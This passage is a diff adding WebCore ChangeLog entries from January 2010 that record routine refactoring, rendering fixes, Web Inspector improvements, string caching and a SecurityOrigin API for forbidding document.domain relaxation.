+        https://bugs.webkit.org/show_bug.cgi?id=33561
+
+        No new tests, refactoring only.
+
+        * Android.jscbindings.mk: Modified. Removed jni_class.cpp and added JavaClassJSC.cpp
+        * GNUmakefile.am: Modified. Removed jni_class.h and added JavaClassJSC.h
+        * WebCore.xcodeproj/project.pbxproj: Modified. Removed jni_class.[cpp|h] and added JavaClassJSC.[cpp|h]
+        * bridge/jni/jni_class.cpp: Removed.
+        * bridge/jni/jni_class.h: Removed.
+        * bridge/jni/jsc/JavaClassJSC.cpp: Copied from WebCore/bridge/jni/jni_class.cpp.
+        * bridge/jni/jsc/JavaClassJSC.h: Copied from WebCore/bridge/jni/jni_class.h.
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: Modified. Includes JavaClassJSC.h
+
+2010-01-18  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Fix style in WebCore/bridge/jni/jsc/JavaInstanceJSC.[cpp|h]
+        https://bugs.webkit.org/show_bug.cgi?id=33792
+
+        No new tests, style fixes only.
+
+        * bridge/jni/jni_runtime.cpp: Modified.
+        (JavaField::dispatchValueFromInstance): Modified. Updated to use renamed JavaInstance::m_instance
+        (JavaField::dispatchSetValueToInstance): Modified. Updated to use renamed JavaInstance::m_instance
+        (JavaArray::JavaArray): Modified. Updated to use renamed JavaInstance::m_instance
+        * bridge/jni/jni_runtime.h: Modified.
+        (JSC::Bindings::JavaArray::javaArray): Modified. Updated to use renamed JavaInstance::m_instance
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: Modified. Fixed style
+        * bridge/jni/jsc/JavaInstanceJSC.h: Modified. Fixed style
+
+2010-01-18  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        https://bugs.webkit.org/show_bug.cgi?id=30073
+        Moved reshape to HTMLCanvasElement::reset and have it always
+        set the size to the canvas width and height attrs.
+
+        This is not testable with LayoutTests, so I instead added logic
+        to the demo at:
+
+        https://cvs.khronos.org/svn/repos/registry/trunk/public/webgl/sdk/demos/webkit/SpinningBox.html
+
+        * html/HTMLCanvasElement.cpp:
+        (WebCore::HTMLCanvasElement::reset):
+        (WebCore::HTMLCanvasElement::paint):
+
+2010-01-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Geoffrey Garen.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33813
+        <rdar://problem/7545104> Crash when using DOMApplicationCache from a destroyed frame
+
+        Test: http/tests/appcache/destroyed-frame.html
+
+        * loader/appcache/DOMApplicationCache.cpp:
+        (WebCore::DOMApplicationCache::scriptExecutionContext): Return null when there is no frame.
+
+2010-01-18  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        REGRESSION (r53420): incomplete repaint of bottom of bugs.webkit.org comment field
+        https://bugs.webkit.org/show_bug.cgi?id=33809
+
+        Test: fast/repaint/trailing-floats-root-line-box-overflow.html
+
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren): Copy bottom overflow from the last
+        root box to the trailing floats box, which is becoming the last root box. This is
+        needed because painting code assumes that the last line in a block is the one with the
+        lowest overflow bottom.
+
+2010-01-18  Csaba Osztrogonác  <ossy@webkit.org>
+
+        [Qt] Unreviewed trivial buildfix. (r53429)
+
+        * WebCore.pri: missing XMLNS_NAMES added.
+
+2010-01-18  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Removed unnecessary use of scriptExecutionContext() when creating a JS event listener.
+        https://bugs.webkit.org/show_bug.cgi?id=33811
+
+        This change simplifies a bunch of code, and also reduces
+        the number of places that use the difficult-to-understand and possibly
+        crashy-null scriptExecutionContext() idiom.
+
+        * bindings/js/JSDOMGlobalObject.cpp:
+        * bindings/js/JSDOMGlobalObject.h:
+        * bindings/js/JSEventListener.h:
+        (WebCore::createJSAttributeEventListener):
+        * bindings/scripts/CodeGeneratorJS.pm:
+
+2010-01-18  Alexey Proskuryakov  <ap@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33787
+        Add constants for more XML strings
+
+        No change in functionality, so no tests.
+
+        * WebCore/xml/xmlnsattrs.in: Added a new file for xmlns namespace and attribute - 
+        XMLNames.{h,cpp} are auto-generated, and I dodn't see a reasonable way to extend it.
+
+        * platform/text/AtomicString.cpp: (WebCore::AtomicString::init):
+        * platform/text/AtomicString.h:
+        Added atomic strings for "xml" and "xmlns".
+
+        * page/Frame.cpp: (WebCore::Frame::Frame): Call XMLNSNames::init().
+
+        * dom/Attr.cpp: (WebCore::Attr::setPrefix):
+        * dom/Document.cpp:
+        (WebCore::Document::hasPrefixNamespaceMismatch):
+        (WebCore::Document::createAttributeNS):
+        * dom/Node.cpp:
+        (WebCore::Node::checkSetPrefix):
+        (WebCore::Node::isDefaultNamespace):
+        (WebCore::Node::lookupNamespaceURI):
+        (WebCore::Node::lookupNamespacePrefix):
+        * dom/XMLTokenizerLibxml2.cpp:
+        (WebCore::XMLTokenizer::XMLTokenizer):
+        (WebCore::handleElementNamespaces):
+        * editing/markup.cpp:
+        (WebCore::shouldAddNamespaceAttr):
+        (WebCore::appendNamespace):
+        * xml/XPathStep.cpp:
+        (WebCore::XPath::nodeMatchesBasicTest):
+        (WebCore::XPath::Step::nodesInAxis):
+        Use the new constants.
+
+        * Android.derived.mk:
+        * DerivedSources.make:
+        * GNUmakefile.am:
+        * WebCore.gyp/WebCore.gyp:
+        * WebCore.pri:
+        * WebCore.vcproj/WebCore.vcproj:
+        * WebCore.xcodeproj/project.pbxproj:
+        * WebCoreSources.bkl:
+        Added the new files to projects.
+
+2010-01-18  Anders Carlsson  <andersca@apple.com>
+
+        Fix !ENABLE(3D_CANVAS) build.
+
+        * rendering/RenderLayerBacking.cpp:
+        (WebCore::is3DCanvas):
+
+2010-01-18  Timothy Hatcher  <timothy@apple.com>
+
+        Adjust the scroll position when doing a full page zoom, so the content
+        stays in relatively the same position.
+
+        <rdar://problem/6150099> Zooming should keep the page content in the same place
+
+        Reviewed by Oliver Hunt.
+
+        * page/Frame.cpp:
+        (WebCore::Frame::setZoomFactor): Apply the zoom percent difference to
+        the scroll position, only when doing a full page zoom.
+
+2010-01-18  Adam Roben  <aroben@apple.com>
+
+        Add SecurityOrigin::{set,is}DomainRelaxationForbiddenForURLScheme and
+        respect it
+
+        WebCore part of fixing <http://webkit.org/b/33806>
+        <rdar://problem/7552837> Would like API to disallow setting of
+        document.domain for pages with certain URL schemes
+
+        Test: http/tests/security/setDomainRelaxationForbiddenForURLScheme.html
+
+        Reviewed by Sam Weinig.
+
+        * WebCore.base.exp: Export
+        SecurityOrigin::setDomainRelaxationForbiddenForURLScheme.
+
+        * dom/Document.cpp:
+        (WebCore::Document::setDomain): If domain relaxation is forbidden for
+        our security origin's scheme, throw an exception and don't allow
+        the domain to be set.
+
+        * page/SecurityOrigin.cpp:
+        (WebCore::schemesForbiddenFromDomainRelaxation): Added. Returns a
+        global set of schemes.
+        (WebCore::SecurityOrigin::setDomainRelaxationForbiddenForURLScheme):
+        Add or remove the scheme to schemesForbiddenFromDomainRelaxation, as
+        appropriate.
+        (WebCore::SecurityOrigin::isDomainRelaxationForbiddenForURLScheme):
+        Returns true if the scheme is in schemesForbiddenFromDomainRelaxation.
+
+        * page/SecurityOrigin.h: Added
+        {set,is}DomainRelaxationForbiddenForURLScheme.
+
+2010-01-18  Dan Bernstein  <mitz@apple.com>
+
+        Address review comments on the last change
+
+        * rendering/TrailingFloatsRootInlineBox.h:
+        (WebCore::TrailingFloatsRootInlineBox::TrailingFloatsRootInlineBox):
+
+2010-01-18  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Darin Adler.
+
+        <rdar://problem/6892207> REGRESSION (Safari 4): Menus at sciencedirect.com push the main article context down the page
+        <rdar://problem/7546035> Second right floated image misplacment
+        https://bugs.webkit.org/show_bug.cgi?id=33245
+
+        Test: fast/dynamic/float-in-trailing-whitespace-after-last-line-break-2.html
+
+        When the last line of a block contains a line break and there are floats
+        after the line break, it is incorrect to put those floats in the last line’s
+        floats vector (along with floats from before the break). Instead, create
+        an additional line box (a TrailingFloatsRootInlineBox) and put those floats
+        in its floats vector. 
+
+        * WebCore.vcproj/WebCore.vcproj: Added TrailingFloatsRootInlineBox.h
+        * WebCore.xcodeproj/project.pbxproj: Ditto.
+        * rendering/RenderBlock.cpp:
+        (WebCore::RenderBlock::markLinesDirtyInVerticalRange): Added an optional
+        parameter, which is the highest line to dirty.
+        * rendering/RenderBlock.h:
+        * rendering/RenderBlockLineLayout.cpp:
+        (WebCore::RenderBlock::layoutInlineChildren): Create a TrailingFloatsRootInlineBox
+        for the floats occurring after the line break on the last line.
+        (WebCore::RenderBlock::determineStartPosition): Prevent dirtying of lines
+        above the first dirty line.
+        * rendering/TrailingFloatsRootInlineBox.h: Added.
+        (WebCore::TrailingFloatsRootInlineBox::TrailingFloatsRootInlineBox): Call
+        setHasVirtualHeight().
+        (WebCore::TrailingFloatsRootInlineBox::virtualHeight): Return 0.
+
+2010-01-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+
+        Eeeep! reverting r53416 & r53417, more to be done to fix windows.
+
+        * WebCore.base.exp:
+        * platform/sql/SQLiteFileSystem.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        * platform/sql/SQLiteStatement.cpp:
+        (WebCore::SQLiteStatement::prepare):
+        * platform/sql/SQLiteStatement.h:
+        * platform/sql/chromium/SQLiteFileSystemChromium.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        * platform/text/PlatformString.h:
+        * platform/text/String.cpp:
+        (WebCore::String::charactersWithNullTermination):
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::operator new):
+        (WebCore::StringImpl::operator delete):
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::~StringImpl):
+        (WebCore::StringImpl::create):
+        (WebCore::StringImpl::createWithTerminatingNullCharacter):
+        (WebCore::StringImpl::crossThreadString):
+        (WebCore::StringImpl::sharedBuffer):
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::hasTerminatingNullCharacter):
+        (WebCore::StringImpl::inTable):
+        (WebCore::StringImpl::setInTable):
+        (WebCore::StringImpl::):
+        * platform/win/ClipboardUtilitiesWin.cpp:
+        (WebCore::createGlobalData):
+        * storage/OriginUsageRecord.cpp:
+        (WebCore::OriginUsageRecord::addDatabase):
+        (WebCore::OriginUsageRecord::markDatabase):
+
+2010-01-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (windows build fix).
+
+        * platform/win/ClipboardUtilitiesWin.cpp:
+        (WebCore::createGlobalData):
+
+2010-01-15  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33731
+        Remove uses of PtrAndFlags from WebCore::StringImpl.
+
+        These break the OS X Leaks tool.  Move the management of null-terminated copies
+        out from StringImpl to String, and use a bit stolen from the refCount to hold the
+        'InTable' flag.
+
+        * platform/sql/SQLiteFileSystem.cpp:
+        (WebCore::SQLiteFileSystem::openDatabase):
+        * platform/sql/SQLiteStatement.cpp:
+        (WebCore::SQLiteStatement::prepare):
+        * platform/sql/SQLiteStatement.h:
+        * platform/text/PlatformString.h:
+        * platform/text/String.cpp:
+        (WebCore::String::copyWithNullTermination):
+        * platform/text/StringImpl.cpp:
+        (WebCore::StringImpl::StringImpl):
+        (WebCore::StringImpl::~StringImpl):
+        (WebCore::StringImpl::create):
+        (WebCore::StringImpl::crossThreadString):
+        (WebCore::StringImpl::sharedBuffer):
+        * platform/text/StringImpl.h:
+        (WebCore::StringImpl::inTable):
+        (WebCore::StringImpl::setInTable):
+
+2010-01-18  Chris Marrin  <cmarrin@apple.com>
+
+        Reviewed by Darin Adler.
+
+        Made root compositing layer scroll rather than scroll parent.
+        https://bugs.webkit.org/show_bug.cgi?id=32279
+        
+        There's some general cleanup here so the frames, bounds and
+        positions of all the associated layers are correct.
+        I also changed API of setScrollFrame to use an IntRect.
+
+        * platform/graphics/win/WKCACFLayerRenderer.cpp:
+        (WebCore::WKCACFLayerRenderer::WKCACFLayerRenderer):
+        (WebCore::WKCACFLayerRenderer::setScrollFrame):
+        (WebCore::WKCACFLayerRenderer::setRootChildLayer):
+        (WebCore::WKCACFLayerRenderer::createRenderer):
+        (WebCore::WKCACFLayerRenderer::resize):
+        * platform/graphics/win/WKCACFLayerRenderer.h:
+
+2010-01-18  Ilya Tikhonovsky  <loislo@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        WebInspector: Timeline panel scrolling speed can be 2 times faster.
+        https://bugs.webkit.org/show_bug.cgi?id=33794
+
+        * inspector/front-end/TimelinePanel.js:
+        (WebInspector.TimelinePanel.prototype._scheduleRefresh):
+        (WebInspector.TimelinePanel.prototype._refreshRecords):
+        (WebInspector.TimelineCalculator):
+        (WebInspector.TimelineCalculator.prototype.calculateWindow):
+        (WebInspector.TimelineCalculator.prototype.reset):
+        (WebInspector.TimelineCalculator.prototype.updateBoundaries):
+        (WebInspector.TimelineRecordGraphRow.prototype.update):
+
+2010-01-18  Steve Block  <steveblock@google.com>
+
+        Reviewed by Adam Barth.
+
+        Moves JSC-specific version of JavaInstance from bridge/jni/jni_instance to bridge/jni/jsc/JavaInstanceJSC
+        https://bugs.webkit.org/show_bug.cgi?id=33672
+
+        No new tests, refactoring only.
+
+        * Android.jscbindings.mk: Modified. Removed jni_instance.cpp and added JavaInstanceJSC.cpp
+        * GNUmakefile.am: Modified. Removed jni_instance.h and added JavaInstanceJSC.h
+        * WebCore.xcodeproj/project.pbxproj: Modified. Removed jni_instance.[cpp|h] and added JavaInstanceJSC.[cpp|h]
+        * bindings/js/ScriptControllerMac.mm: Modified. Includes JavaInstanceJSC.h
+        * bridge/jni/jni_instance.cpp: Removed.
+        * bridge/jni/jni_instance.h: Removed.
+        * bridge/jni/jni_runtime.h: Modified. Includes JavaInstanceJSC.h
+        * bridge/jni/jsc/JavaInstanceJSC.cpp: Copied from WebCore/bridge/jni/jni_instance.cpp.
+        * bridge/jni/jsc/JavaInstanceJSC.h: Copied from WebCore/bridge/jni/jni_instance.h.
+
+2010-01-18  Peter Kasting  <pkasting@google.com>
+
+        Reviewed by Adam Barth.
+
+        Simplify image decoders slightly by using OwnPtr instead of raw pointers
+        and eliminating a basically-useless wrapper class in the GIF decoder.
+        https://bugs.webkit.org/show_bug.cgi?id=28751
+
+        * platform/graphics/qt/ImageDecoderQt.cpp:
+        (WebCore::ImageDecoderQt::ImageDecoderQt):
+        (WebCore::ImageDecoderQt::~ImageDecoderQt):
+        (WebCore::ImageDecoderQt::setData):
+        (WebCore::ImageDecoderQt::internalReadImage):
+        (WebCore::ImageDecoderQt::failRead):
+        * platform/graphics/qt/ImageDecoderQt.h:
+        * platform/image-decoders/gif/GIFImageDecoder.cpp:
+        (WebCore::GIFImageDecoder::GIFImageDecoder):
+        (WebCore::GIFImageDecoder::~GIFImageDecoder):
+        (WebCore::GIFImageDecoder::setData):
+        (WebCore::GIFImageDecoder::frameCount):
+        (WebCore::GIFImageDecoder::repetitionCount):
+        (WebCore::GIFImageDecoder::decode):
+        (WebCore::GIFImageDecoder::decodingHalted):
+        (WebCore::GIFImageDecoder::initFrameBuffer):
+        (WebCore::GIFImageDecoder::haveDecodedRow):
+        (WebCore::GIFImageDecoder::gifComplete):
+        * platform/image-decoders/gif/GIFImageDecoder.h:
+        * platform/image-decoders/jpeg/JPEGImageDecoder.cpp:
+        (WebCore::JPEGImageDecoder::JPEGImageDecoder):
+        (WebCore::JPEGImageDecoder::~JPEGImageDecoder):
+        (WebCore::JPEGImageDecoder::setData):
+        (WebCore::JPEGImageDecoder::decode):
+        * platform/image-decoders/jpeg/JPEGImageDecoder.h:
+        * platform/image-decoders/png/PNGImageDecoder.cpp:
+        (WebCore::PNGImageDecoder::PNGImageDecoder):
+        (WebCore::PNGImageDecoder::~PNGImageDecoder):
+        (WebCore::PNGImageDecoder::setData):
+        (WebCore::PNGImageDecoder::decode):
+        (WebCore::PNGImageDecoder::headerAvailable):
+        (WebCore::PNGImageDecoder::rowAvailable):
+        * platform/image-decoders/png/PNGImageDecoder.h:
+
+2010-01-18  Daniel Cheng  <dcheng@google.com>
+
+        Reviewed by Adam Roben.
+
+        DataTransfer interface broken on Windows--types member is always
+        undefined, and getData() does not work.
+        https://bugs.webkit.org/show_bug.cgi?id=30527
+
+        * platform/win/ClipboardWin.cpp:
+        (WebCore::addMimeTypesForFormat): pass FORMATETC as a const ref.
+        (WebCore::ClipboardWin::types): fix calls to IEnumFORMATETC.
+        (WebCore::ClipboardWin::hasData): fix calls to IEnumFORMATETC.
+
+2010-01-18  Mikhail Naganov  <mnaganov@chromium.org>
+
+        Reviewed by Timothy Hatcher.
+
+        Don't show Profiles welcome screen on panel switch,
+        if a profile view is shown.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33799
+
+        * inspector/front-end/ProfilesPanel.js:
+        (WebInspector.ProfilesPanel.prototype.show):
+
+2010-01-18  Tor Arne Vestbø  <tor.arne.vestbo@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] Force qmake to generate a single makefile for DerivedSources.pro
+
+        * DerivedSources.pro:
+
+2010-01-18  Jonathan Dixon  <joth@chromium.org>
+
+        Reviewed by Adam Barth.
+
+        Add support for enabling navigator.geolocation at runtime in the V8 bindings.
+        Adds the [EnabledAtRuntime] modifier to the navigator IDL.
+        https://bugs.webkit.org/show_bug.cgi?id=33467
+
+        * WebCore.gypi:
+        * bindings/v8/RuntimeEnabledFeatures.cpp:
+        * bindings/v8/RuntimeEnabledFeatures.h:
+        (WebCore::RuntimeEnabledFeatures::setGeolocationEnabled):
+        (WebCore::RuntimeEnabledFeatures::geolocationEnabled):
+        * bindings/v8/custom/V8NavigatorCustom.cpp: Added.
+        (WebCore::V8Navigator::GeolocationEnabled):
+        * page/Navigator.cpp:
+        (WebCore::Navigator::geolocation):
+        * page/Navigator.idl:
+
+2010-01-18  Alexander Pavlov  <apavlov@chromium.org>
+
+        Reviewed by Pavel Feldman.
+
+        Improve Resources panel performance for lots of resources
+
+        DOM properties are extracted into const's, comparisons are faster.
+        https://bugs.webkit.org/show_bug.cgi?id=33790
+
+        * inspector/front-end/AbstractTimelinePanel.js:
+        (WebInspector.AbstractTimelinePanel.prototype._updateDividersLabelBarPosition):
+        * inspector/front-end/Resource.js:
+        (WebInspector.Resource.CompareByStartTime):
+        (WebInspector.Resource.CompareByResponseReceivedTime):
+        (WebInspector.Resource.CompareByEndTime):
+        (WebInspector.Resource.CompareByDuration):
+        (WebInspector.Resource.CompareByLatency):
+        (WebInspector.Resource.CompareBySize):
+        * inspector/front-end/ResourcesPanel.js:
+        (WebInspector.ResourceGraph.prototype.refreshLabelPositions):
+
+2010-01-18  Daniel Bates  <dbates@rim.com>
+
+        Reviewed by Eric Seidel.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33726
+
+        Following up on changes made with respect to bug #33498, we should
+        fix the the style errors found by the style bot.
+        
+        Moreover, this fixes all the style errors found by check-webkit-style
+        except the use of an underline in the variable name _niflags. We should
+        fix this in a second run through for all the other variables names that
+        contain an underline because there are many.
+
+        No functionality was changed. So, no new tests.
+
+        * rendering/style/SVGRenderStyle.h:
+        (WebCore::SVGRenderStyle::create):
+        (WebCore::SVGRenderStyle::copy):
+        (WebCore::SVGRenderStyle::operator!=):
+        (WebCore::SVGRenderStyle::hasStroke):
+        (WebCore::SVGRenderStyle::hasFill):
+        (WebCore::SVGRenderStyle::InheritedFlags::operator==):
+        (WebCore::SVGRenderStyle::InheritedFlags::operator!=):
+        (WebCore::SVGRenderStyle::NonInheritedFlags::operator==):
+        (WebCore::SVGRenderStyle::NonInheritedFlags::operator!=):
+        (WebCore::SVGRenderStyle::NonInheritedFlags::):
+        (WebCore::SVGRenderStyle::):
+        (WebCore::SVGRenderStyle::setBitDefaults):
+
+2010-01-18  Andrei Popescu  <andreip@google.com>
+
+        Reviewed by Adam Barth.
+
+        [Android] DOMWrapperMap::Visitor needs virtual destructor
+        https://bugs.webkit.org/show_bug.cgi?id=33675
+
+        Add protected virtual dtor to DOMWrapperMap::Visitor. See bug for further discussion.
+
+        No new tests needed, functionality not changed.
+
+        * bindings/v8/V8DOMMap.h:
+        (WebCore::DOMWrapperMap::Visitor::~Visitor): Added.
+
+2010-01-18  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Unreviewed Symbian build fix.
+
+        If we don't link with def files, then we have to pass EXPORTUNFROZEN,
+        so that the build system still creates the .dso files in
+        release/armv5/lib and we can actually link against the created QtWebKit
+        dlls.
+
+        Thanks Iain for the help!
+
+        * WebCore.pro:
+
+2010-01-17  Srinidhi Shreedhara  <srinidhi.shreedhara@nokia.com>
+
+        Reviewed by Simon Hausmann.
+
+        [Qt] [Symbian] SetWindow call in npapi plugin does not happen when the cooridnates are negative
+        https://bugs.webkit.org/show_bug.cgi?id=33573
+
+        * plugins/symbian/PluginViewSymbian.cpp:
+        (WebCore::PluginView::setNPWindowIfNeeded): Remove tests for negative
+        coordinates for early return.
+
+2010-01-17  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        REGRESSION (r52449): SVG mask wrongly clipped when not at origin for recent nightly build
+        https://bugs.webkit.org/show_bug.cgi?id=33782
+
+        Test: svg/custom/transformedMaskFails.svg
+
+        When computing the bounds for elements in a mask, we iterate through
+        all of our children requesting their repaint bounds using
+        repaintRectInLocalCoordinates(), but we were not converting that
+        rect into our own coordinate system, thus leading to an incorrect
+        repaint rect.  This patch simply adds the missing localToParent
+        transform.
+
+        * svg/SVGMaskElement.cpp:
+        (WebCore::SVGMaskElement::drawMaskerContent):
+
+2010-01-17  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Dan Bernstein.
+
+        Avoid slow access to AX objects on attribute access when AX is off
+        https://bugs.webkit.org/show_bug.cgi?id=33779
+
+        ~4% Dromaeo attributes test speedup
+
+        * dom/Element.cpp:
+        (WebCore::Element::updateAfterAttributeChanged): Don't do expensive lookup of
+        AX object cache unless accessibility is on and an AX-related attribute is
+        changed.
+
+2010-01-17  Kevin Watters  <kevinwatters@gmail.com>
+
+        Reviewed by Kevin Ollivier.
+
+        [wx] On Win and GTK, we need to manually apply the transforms when falling back
+        to GDI / GDK drawing, but this is not needed on Mac since we always use CG there.
+        
+        https://bugs.webkit.org/show_bug.cgi?id=33730
+
+        * platform/wx/RenderThemeWx.cpp:
+        (WebCore::RenderThemeWx::paintButton):
+
+2010-01-17  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] GtkWebKit incompatible with rgba colormaps
+        https://bugs.webkit.org/show_bug.cgi?id=20736
+
+        Fix GTK theme rendering onto drawables with RGBA colormaps. Now
+        each type of colormap has its own collection of GtkWidgets.
+
+        This fix does not introduce any functionality changes, so does not
+        includes new tests.
+
+        * platform/gtk/RenderThemeGtk.cpp:
+        (WebCore::RenderThemeGtk::RenderThemeGtk):
+        (WebCore::RenderThemeGtk::~RenderThemeGtk):
+        (WebCore::RenderThemeGtk::partsForDrawable):
+        (WebCore::adjustMozillaStyle):
+        (WebCore::setMozillaState):
+        (WebCore::paintMozillaGtkWidget):
+        (WebCore::setToggleSize):
+        (WebCore::RenderThemeGtk::setCheckboxSize):
+        (WebCore::RenderThemeGtk::paintCheckbox):
+        (WebCore::RenderThemeGtk::setRadioSize):
+        (WebCore::RenderThemeGtk::paintRadio):
+        (WebCore::RenderThemeGtk::paintButton):
+        (WebCore::RenderThemeGtk::adjustMenuListStyle):
+        (WebCore::RenderThemeGtk::paintMenuList):
+        (WebCore::RenderThemeGtk::adjustTextFieldStyle):
+        (WebCore::RenderThemeGtk::paintTextField):
+        (WebCore::RenderThemeGtk::paintSearchFieldResultsButton):
+        (WebCore::RenderThemeGtk::paintSearchFieldResultsDecoration):
+        (WebCore::RenderThemeGtk::paintSearchFieldCancelButton):
+        * platform/gtk/RenderThemeGtk.h:
+        * platform/gtk/gtk2drawing.c:
+        (moz_gtk_use_theme_parts):
+        (ensure_window_widget):
+        (setup_widget_prototype):
+        (ensure_button_widget):
+        (ensure_hpaned_widget):
+        (ensure_vpaned_widget):
+        (ensure_toggle_button_widget):
+        (ensure_button_arrow_widget):
+        (ensure_checkbox_widget):
+        (ensure_radiobutton_widget):
+        (ensure_scrollbar_widget):
+        (ensure_spin_widget):
+        (ensure_scale_widget):
+        (ensure_entry_widget):
+        (moz_gtk_get_combo_box_inner_button):
+        (moz_gtk_get_combo_box_button_inner_widgets):
+        (ensure_combo_box_widgets):
+        (moz_gtk_get_combo_box_entry_inner_widgets):
+        (moz_gtk_get_combo_box_entry_arrow):
+        (ensure_combo_box_entry_widgets):
+        (ensure_handlebox_widget):
+        (ensure_toolbar_widget):
+        (ensure_toolbar_separator_widget):
+        (ensure_tooltip_widget):
+        (ensure_tab_widget):
+        (ensure_progress_widget):
+        (ensure_statusbar_widget):
+        (ensure_frame_widget):
+        (ensure_menu_bar_widget):
+        (ensure_menu_bar_item_widget):
+        (ensure_menu_popup_widget):
+        (ensure_menu_item_widget):
+        (ensure_image_menu_item_widget):
+        (ensure_menu_separator_widget):
+        (ensure_check_menu_item_widget):
+        (ensure_tree_view_widget):
+        (ensure_tree_header_cell_widget):
+        (ensure_expander_widget):
+        (ensure_scrolled_window_widget):
+        (moz_gtk_checkbox_get_metrics):
+        (moz_gtk_radio_get_metrics):
+        (moz_gtk_splitter_get_metrics):
+        (moz_gtk_toggle_paint):
+        (moz_gtk_scrollbar_button_paint):
+        (moz_gtk_scrollbar_trough_paint):
+        (moz_gtk_scrollbar_thumb_paint):
+        (moz_gtk_spin_paint):
+        (moz_gtk_spin_updown_paint):
+        (moz_gtk_scale_paint):
+        (moz_gtk_scale_thumb_paint):
+        (moz_gtk_gripper_paint):
+        (moz_gtk_hpaned_paint):
+        (moz_gtk_vpaned_paint):
+        (moz_gtk_caret_paint):
+        (moz_gtk_treeview_paint):
+        (moz_gtk_tree_header_cell_paint):
+        (moz_gtk_tree_header_sort_arrow_paint):
+        (moz_gtk_treeview_expander_paint):
+        (moz_gtk_expander_paint):
+        (moz_gtk_combo_box_paint):
+        (moz_gtk_downarrow_paint):
+        (moz_gtk_combo_box_entry_button_paint):
+        (moz_gtk_container_paint):
+        (moz_gtk_toggle_label_paint):
+        (moz_gtk_toolbar_paint):
+        (moz_gtk_toolbar_separator_paint):
+        (moz_gtk_tooltip_paint):
+        (moz_gtk_resizer_paint):
+        (moz_gtk_frame_paint):
+        (moz_gtk_progressbar_paint):
+        (moz_gtk_progress_chunk_paint):
+        (moz_gtk_get_tab_thickness):
+        (moz_gtk_tab_paint):
+        (moz_gtk_tabpanels_paint):
+        (moz_gtk_tab_scroll_arrow_paint):
+        (moz_gtk_menu_bar_paint):
+        (moz_gtk_menu_popup_paint):
+        (moz_gtk_menu_separator_paint):
+        (moz_gtk_menu_item_paint):
+        (moz_gtk_menu_arrow_paint):
+        (moz_gtk_check_menu_item_paint):
+        (moz_gtk_window_paint):
+        (moz_gtk_get_widget_border):
+        (moz_gtk_get_combo_box_entry_button_size):
+        (moz_gtk_get_tab_scroll_arrow_size):
+        (moz_gtk_get_downarrow_size):
+        (moz_gtk_get_toolbar_separator_width):
+        (moz_gtk_get_expander_size):
+        (moz_gtk_get_treeview_expander_size):
+        (moz_gtk_get_menu_separator_height):
+        (moz_gtk_get_scalethumb_metrics):
+        (moz_gtk_get_scrollbar_metrics):
+        (moz_gtk_images_in_menus):
+        (moz_gtk_widget_paint):
+        (moz_gtk_get_scrollbar_widget):
+        (moz_gtk_shutdown):
+        (moz_gtk_destroy_theme_parts_widgets):
+        * platform/gtk/gtkdrawing.h:
+
+2010-01-16  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Oliver Hunt.
+
+        Cache JS string values made from DOM strings (Dromaeo speedup)
+        https://bugs.webkit.org/show_bug.cgi?id=33768
+        <rdar://problem/7353576>
+
+        Added a new cache for JSString values that are created from Strings or AtomicStrings
+        in the DOM. It's common for the same string to be retrieved from the DOM repeatedly,
+        and it is wasteful to make a new JS-level string value every time.
+        
+        The string cache is per-world, and thus thread-safe and not a
+        vector for accidental information exchange.
+        
+        ~30% speedup on Dromaeo Attributes test, also substantially helps other Dromaeo DOM tests.
+
+        * bindings/js/JSDOMBinding.cpp:
+        (WebCore::jsStringCache): Helper function to get the string cache for the current world.
+        (WebCore::jsString): Some new overloads including the caching version.
+        (WebCore::stringWrapperDestroyed): Finalizer callback - remove from relevant caches.
+        * bindings/js/JSDOMBinding.h:
+        (WebCore::jsString): Prototype new overloads (and define a few inline).
+        * bindings/js/JSJavaScriptCallFrameCustom.cpp:
+        (WebCore::JSJavaScriptCallFrame::type): Explicitly make a UString.
+        * bindings/js/ScriptFunctionCall.cpp:
+        (WebCore::ScriptFunctionCall::appendArgument): Ditto.
+        * WebCore.base.exp: Add new JSString overloads that WebCore gets to see.
+
+2010-01-16  Oliver Hunt  <oliver@apple.com>
+
+        Reviewed by Nikolas Zimmermann.
+
+        SVG Markers are getting culled incorrectly
+        https://bugs.webkit.org/show_bug.cgi?id=33767
+
+        Use applyTransformToPaintInfo to transform the paintInfo, otherwise
+        the paint rect is not updated leading to incorrect culling.
+
+        * svg/graphics/SVGResourceMarker.cpp:
+        (WebCore::SVGResourceMarker::draw):
+
+2010-01-15  John Sullivan  <sullivan@apple.com>
+
+        https://bugs.webkit.org/show_bug.cgi?id=33751 and <rdar://problem/7538330>
+        Zip code field is misidentified as street address because id attribute isn't checked.
+
